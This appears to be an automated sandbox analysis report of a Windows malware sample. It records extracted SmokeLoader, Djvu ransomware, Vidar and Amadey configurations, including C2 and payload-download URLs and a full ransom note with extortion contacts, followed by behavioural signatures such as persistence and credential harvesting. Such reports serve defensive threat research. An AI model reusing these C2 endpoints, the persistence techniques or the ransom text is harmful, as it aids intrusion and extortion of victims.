Analysis
-
max time kernel
225s -
max time network
268s -
platform
windows10-1703_x64 -
resource
win10-20230220-en -
resource tags
arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system -
submitted
01-04-2023 08:36
Static task
static1
Behavioral task
behavioral1
Sample
a1b74723944b8f8f5319766bb763f496a67f31acc53bd54813966b19df14f71a.exe
Resource
win10-20230220-en
General
-
Target
a1b74723944b8f8f5319766bb763f496a67f31acc53bd54813966b19df14f71a.exe
-
Size
218KB
-
MD5
edca4dabf97e5ccdb641cdf0a6a53585
-
SHA1
f9a65fc6a194eeafbf6f8fdb5d122511ad845b8b
-
SHA256
a1b74723944b8f8f5319766bb763f496a67f31acc53bd54813966b19df14f71a
-
SHA512
d3446b83073d7649b0e6c0a3799dbc8b01639be9211d2c53d3aaf1341afebeade9e9bc2626eb1919e06ed7efea366ce8340376364ca9899a96f0ef886b83e5a9
-
SSDEEP
3072:GM7yW/OmEpNI0rJ2/rFGafYB3isWze3CXu3qj5grEiC:FTO9IeaUafK7Wy3qu7rEiC
Malware Config
Extracted
smokeloader
2022
http://potunulit.org/
http://hutnilior.net/
http://bulimu55t.net/
http://soryytlic4.net/
http://novanosa5org.org/
http://nuljjjnuli.org/
http://tolilolihul.net/
http://somatoka51hub.net/
http://hujukui3.net/
http://bukubuka1.net/
http://golilopaster.org/
http://newzelannd66.org/
http://otriluyttn.org/
http://aapu.at/tmp/
http://poudineh.com/tmp/
http://firsttrusteedrx.ru/tmp/
http://kingpirate.ru/tmp/
Extracted
djvu
http://zexeq.com/test2/get.php
http://zexeq.com/lancer/get.php
-
extension
.nifr
-
offline_id
FCP2fiITr4rryFhFBnA59GMgwES5CunmcbPc76t1
-
payload_url
http://uaery.top/dl/build2.exe
http://zexeq.com/files/1/build3.exe
-
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-v8HcfXTy5x Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: support@freshmail.top Reserve e-mail address to contact us: datarestorehelp@airmail.cc Your personal ID: 0679SUjhw
Extracted
smokeloader
pub1
Extracted
vidar
3.2
5df88deb5dde677ba658b77ad5f60248
https://steamcommunity.com/profiles/76561199489580435
https://t.me/tabootalks
-
profile_id_v2
5df88deb5dde677ba658b77ad5f60248
-
user_agent
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 OPR/91.0.4516.79
Extracted
amadey
3.65
77.73.134.27/8bmdh3Slb2/index.php
Signatures
-
Detected Djvu ransomware 44 IoCs
Processes:
resource yara_rule behavioral1/memory/3548-141-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/3548-143-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/4652-144-0x0000000004920000-0x0000000004A3B000-memory.dmp family_djvu behavioral1/memory/3548-145-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/1216-150-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/1216-152-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/1128-153-0x0000000002200000-0x000000000231B000-memory.dmp family_djvu behavioral1/memory/1216-154-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/3548-155-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/1216-156-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/3548-184-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/1216-183-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/4756-198-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/4756-199-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/4756-200-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/3344-216-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/3344-217-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/5040-220-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/5040-221-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/4756-211-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/3344-222-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/5040-223-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/3344-224-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/3344-225-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/5040-226-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/5040-227-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/5040-251-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/3344-246-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/3344-241-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/5040-257-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/3344-253-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/5040-267-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/2204-288-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/2204-287-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/5040-277-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/3344-266-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/2204-294-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/3344-300-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/3344-297-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/5040-302-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/2204-306-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/2204-301-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/5040-298-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral1/memory/2204-650-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu -
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
Processes:
XandETC.exeupdater.exedescription pid process target process PID 4896 created 2536 4896 XandETC.exe Explorer.EXE PID 4896 created 2536 4896 XandETC.exe Explorer.EXE PID 4896 created 2536 4896 XandETC.exe Explorer.EXE PID 4896 created 2536 4896 XandETC.exe Explorer.EXE PID 4896 created 2536 4896 XandETC.exe Explorer.EXE PID 2104 created 2536 2104 updater.exe Explorer.EXE PID 2104 created 2536 2104 updater.exe Explorer.EXE PID 2104 created 2536 2104 updater.exe Explorer.EXE PID 2104 created 2536 2104 updater.exe Explorer.EXE -
XMRig Miner payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/3760-1649-0x00007FF78DE20000-0x00007FF78E614000-memory.dmp xmrig behavioral1/memory/3760-1670-0x00007FF78DE20000-0x00007FF78E614000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
Processes:
rundll32.exeflow pid process 136 664 rundll32.exe 137 664 rundll32.exe -
Downloads MZ/PE file
-
Stops running service(s) 3 TTPs
-
Deletes itself 1 IoCs
Processes:
Explorer.EXEpid process 2536 Explorer.EXE -
Executes dropped EXE 36 IoCs
Processes:
F2B2.exeF4C6.exeF2B2.exeFB6E.exeF4C6.exe1D8.exeF4C6.execacls.exe2BB7.exeFB6E.exeFB6E.exeF2B2.exeF4C6.exebuild2.exebuild2.exe8A11.exebuild3.exeFB6E.exebuild2.exebuild2.exe5E4D.exebuild2.exebuild3.exePlayer3.exess31.exeXandETC.exenbveek.exeConhost.exe8D0F.exePlayer3.exemstsca.exethwathgutwathgnbveek.exeupdater.exepid process 4652 F2B2.exe 1128 F4C6.exe 3548 F2B2.exe 3680 FB6E.exe 1216 F4C6.exe 4680 1D8.exe 4324 F4C6.exe 516 cacls.exe 4396 2BB7.exe 4756 FB6E.exe 5096 FB6E.exe 3344 F2B2.exe 5040 F4C6.exe 224 build2.exe 5068 build2.exe 1992 8A11.exe 3136 build3.exe 2204 FB6E.exe 2232 build2.exe 2508 build2.exe 2244 5E4D.exe 3196 build2.exe 3828 build3.exe 1108 Player3.exe 4988 ss31.exe 4896 XandETC.exe 4140 nbveek.exe 5068 build2.exe 1992 Conhost.exe 4388 8D0F.exe 3084 Player3.exe 2724 mstsca.exe 4772 thwathg 5088 utwathg 4476 nbveek.exe 2104 updater.exe -
Loads dropped DLL 9 IoCs
Processes:
build2.exerundll32.exerundll32.exerundll32.exerundll32.exebuild2.exepid process 2232 build2.exe 2232 build2.exe 664 rundll32.exe 664 rundll32.exe 4916 rundll32.exe 3336 rundll32.exe 228 rundll32.exe 5068 build2.exe 5068 build2.exe -
Modifies file permissions 1 TTPs 2 IoCs
Processes:
icacls.exeicacls.exepid process 3504 icacls.exe 2732 icacls.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule behavioral1/memory/3760-1649-0x00007FF78DE20000-0x00007FF78E614000-memory.dmp upx behavioral1/memory/3760-1670-0x00007FF78DE20000-0x00007FF78E614000-memory.dmp upx -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
F4C6.exeF2B2.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\385cdd6c-3f31-40ea-8de8-4b33c0f85a26\\F4C6.exe\" --AutoStart" F4C6.exe Set value (str) \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\6238b335-d0b4-4d4b-9153-a4eff8f71278\\F2B2.exe\" --AutoStart" F2B2.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 31 api.2ip.ua 50 api.2ip.ua 9 api.2ip.ua 10 api.2ip.ua 14 api.2ip.ua 28 api.2ip.ua 30 api.2ip.ua -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe -
Suspicious use of SetThreadContext 10 IoCs
Processes:
F2B2.exeF4C6.exeFB6E.execacls.exeF4C6.exeFB6E.exe8A11.exebuild2.exebuild2.exerundll32.exedescription pid process target process PID 4652 set thread context of 3548 4652 F2B2.exe F2B2.exe PID 1128 set thread context of 1216 1128 F4C6.exe F4C6.exe PID 3680 set thread context of 4756 3680 FB6E.exe FB6E.exe PID 516 set thread context of 3344 516 cacls.exe F2B2.exe PID 4324 set thread context of 5040 4324 F4C6.exe F4C6.exe PID 5096 set thread context of 2204 5096 FB6E.exe FB6E.exe PID 1992 set thread context of 2232 1992 8A11.exe build2.exe PID 224 set thread context of 2508 224 build2.exe build2.exe PID 3196 set thread context of 5068 3196 build2.exe build2.exe PID 664 set thread context of 1368 664 rundll32.exe rundll32.exe -
Drops file in Program Files directory 1 IoCs
Processes:
XandETC.exedescription ioc process File created C:\Program Files\Notepad\Chrome\updater.exe XandETC.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 2836 sc.exe 1208 sc.exe 3192 sc.exe 4392 sc.exe 3088 sc.exe 3044 sc.exe 4264 sc.exe 2640 sc.exe 648 sc.exe 4948 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 5 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 4816 4396 WerFault.exe 2BB7.exe 4208 4388 WerFault.exe 8D0F.exe 4220 4772 WerFault.exe thwathg 320 3336 WerFault.exe rundll32.exe 1512 3648 WerFault.exe PaintStudio.View.exe -
Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
a1b74723944b8f8f5319766bb763f496a67f31acc53bd54813966b19df14f71a.exe1D8.exeutwathgdescription ioc process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI a1b74723944b8f8f5319766bb763f496a67f31acc53bd54813966b19df14f71a.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 1D8.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 1D8.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI utwathg Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI a1b74723944b8f8f5319766bb763f496a67f31acc53bd54813966b19df14f71a.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 1D8.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI utwathg Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI utwathg Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI a1b74723944b8f8f5319766bb763f496a67f31acc53bd54813966b19df14f71a.exe -
Checks processor information in registry 2 TTPs 30 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
firefox.exerundll32.exefirefox.exebuild2.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 rundll32.exe Key enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor rundll32.exe Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 build2.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString build2.exe -
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 2568 schtasks.exe 784 schtasks.exe 996 schtasks.exe 4960 schtasks.exe -
Delays execution with timeout.exe 2 IoCs
Processes:
timeout.exetimeout.exepid process 388 timeout.exe 812 timeout.exe -
Processes:
Explorer.EXEPaintStudio.View.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Internet Explorer\LowRegistry\Shell Extensions\Cached PaintStudio.View.exe Key created \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Internet Explorer\LowRegistry PaintStudio.View.exe Key created \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Internet Explorer\LowRegistry\Shell Extensions PaintStudio.View.exe Key created \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch Explorer.EXE -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe -
Modifies registry class 18 IoCs
Processes:
Explorer.EXEPaintStudio.View.exefirefox.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.mspaint_8wekyb3d8bbwe\Internet Settings\Cache PaintStudio.View.exe Key created \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.mspaint_8wekyb3d8bbwe\Internet Settings\Cache\Cookies PaintStudio.View.exe Key created \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.mspaint_8wekyb3d8bbwe\Internet Settings\Cache\History PaintStudio.View.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings firefox.exe Key created \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MSPaint_8wekyb3d8bbwe\SplashScreen Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.mspaint_8wekyb3d8bbwe\Internet Settings PaintStudio.View.exe Set value (str) \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.mspaint_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix PaintStudio.View.exe Set value (int) \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.mspaint_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "51200" PaintStudio.View.exe Set value (int) 